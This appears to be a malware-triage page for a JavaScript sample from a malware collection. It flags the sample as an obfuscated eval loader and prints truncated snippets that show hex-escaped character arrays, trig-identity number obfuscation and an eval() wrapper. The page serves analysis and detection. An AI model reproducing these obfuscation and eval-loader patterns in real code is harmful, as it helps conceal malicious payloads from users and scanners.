Suspicious 80% javascript-malware-collection Download

20151215_fa78d5b16764d981b9cc5ed41079e196.js

Obfuscated eval loader

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-256efd168a2176cbdac1f4b399303c04a7262d6f79d5b367525ee10011454029da6

Evidence

Single-line packed JavaScript loader profile lines 1–2
1var s=new Array();
2u(s,"\x47");u(s,"\x23");u(s,"\x50");u(s,"\x35");u(s,"\x24");u(s,"\x37");u(s,"\x5d");u(s,"\x53");u(s,"\x66");u(s,"\x28");u(s,"\x70");u(s,"\x28");u(s,"\x78");u(s,"\x60");u(s,"\x6a");u(s,"\x72");u(s,"\x71");u(s,"\x6f");u(s,"\x3d");u(s,"\x73");u(s,"\x64");u(s,"\x72");u(s,"\x77");u(s,"\x67");u(s,"\x23");u(s,"\x79");u(s,"\x24");u(s,"\x5e");u(s,"\x74");u(s,"\x4c");u(s,"\x48");u(s,"\x3b");u(s,"\x20");u(s,"\x4d");u(s,"\x5e");u(s,"\x52");u(s,"\x42");u(s,"\x54");u(s,"\x59");u(s,"\x75");u(s,"\x32");u(s,"\x39");u(s,"\x50");u(s,"\x5b");u(s,"\x56");u(s,"\x69");u(s,"\x6e");u(s,"\x54");u(s,"\x50");u(s,"\x24");u(s,"\x51");u(s,"\x42");u(s,"\x46");u(s, …
Builds characters with String.fromCharCode line 4
4:248… 41],s[42],s[43],s[44],s[45],s[46],s[47],s[48],s[49],s[50],s[51],String.fromCharCode(10),s[52],s[53],s[54],s[55],s[56],s[57],s[58],s[59],s[60],s[61],s[62],s[63],s[64],s[65],String.fromCharCode(13),s[66],s[67],s[6 …
Calls JavaScript toString conversion method lines 4–8
4:4809… 7],s[688],s[689],s[690],s[691],s[692],s[693],s[694],s[695],s[696],s[697],s[698],s[699],s[700],s[701],s[702],s[703],s[704],s[705],s[706],s[707],s[708],s[709],s[710],s[711],s[712]];
5function u(LmQDPNYNtEuv,jTZXmEFPZamJhM){LmQDPNYNtEuv.push(jTZXmEFPZamJhM);}function U0(jnMgwBtUWwIefnEk){if(XETXdHX(jnMgwBtUWwIefnEk)) {return (String.fromCharCode(jnMgwBtUWwIefnEk) + String.fromCharCode((41027+699)/673));}}
6function ZSbeS(XnnqPTCRBvy,QpzpftahfhQEV,oIfvNbRw){CvKg=parseInt(XnnqPTCRBvy,QpzpftahfhQEV);bRHWb=CvKg.toString(oIfvNbRw);return bRHWb;}function xlCoHsQRSuWGCbZ(hORrwZfoJTtYKYxMn,WSUpLYDxzOSWkrBxHpLLJRXEOtUglLLbjs,ItJiRUUalssCaTxnDhjqflJtTTskRpRZXZl){eval(hORrwZfoJTtYKYxMn)}
7function xlCoHsQRSuWGCbZ(hORrwZfoJTtYKYxMn){eval(hORrwZfoJTtYKYxMn)}
8function zZVOUquclaKYmWMRYcBvfoWqAvNPssnKnOCJKMPiKHJrK …
Calls JavaScript split() lines 9–11
9:155… qGKQYOVbLRylzg);}
10function OQCaBVlYHWg(WCTUyAZK,QXKNiX){return WCTUyAZK.split(QXKNiX)}
11var t=[];t[0]=s[713];t[1]=s[714];t[2]=s[715];t[3]=s[716];t[4]=s[717];t[5]=s[718];t[6]=s[719];t[7]=s[720];t[8]=s[721];t[9]=s[722];t[10]=s[723];t[11]=s[724];t[12]=s[725];t[13]=s[726];t[14]=s[727];t[15]= …
Numeric sine-square obfuscation expression lines 13–15
13:13… ,Y];
14var CsxpbvflM=[];
15function DVAHyKflPttYnMCEi(cfiGZ){OfBLjjuGwAC= s[1812];for(AGCwxHgxPvE=Math.round((Math.pow(Math.sin(681), 2) + Math.pow(Math.cos(681), 2) - 1)); AGCwxHgxPvE < (1751+109)/930; AGCwxHgxPvE++) {CsxpbvflM[AGCwxHgxPvE]=Math.round((Math.pow(Math.sin(577), 2) + Math.pow(Math.cos(577), 2) - 1)); while(true) { if(CsxpbvflM[AGCwxHgxPvE] > cfiGZ[AGCwxHgxPvE].length-(-480+667)/187) { break; } if (XETXdHX(ZSbeS(cfiGZ[AGCwxHgxPvE][CsxpbvflM[AGCwxHgxPvE]],(6206+7 …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.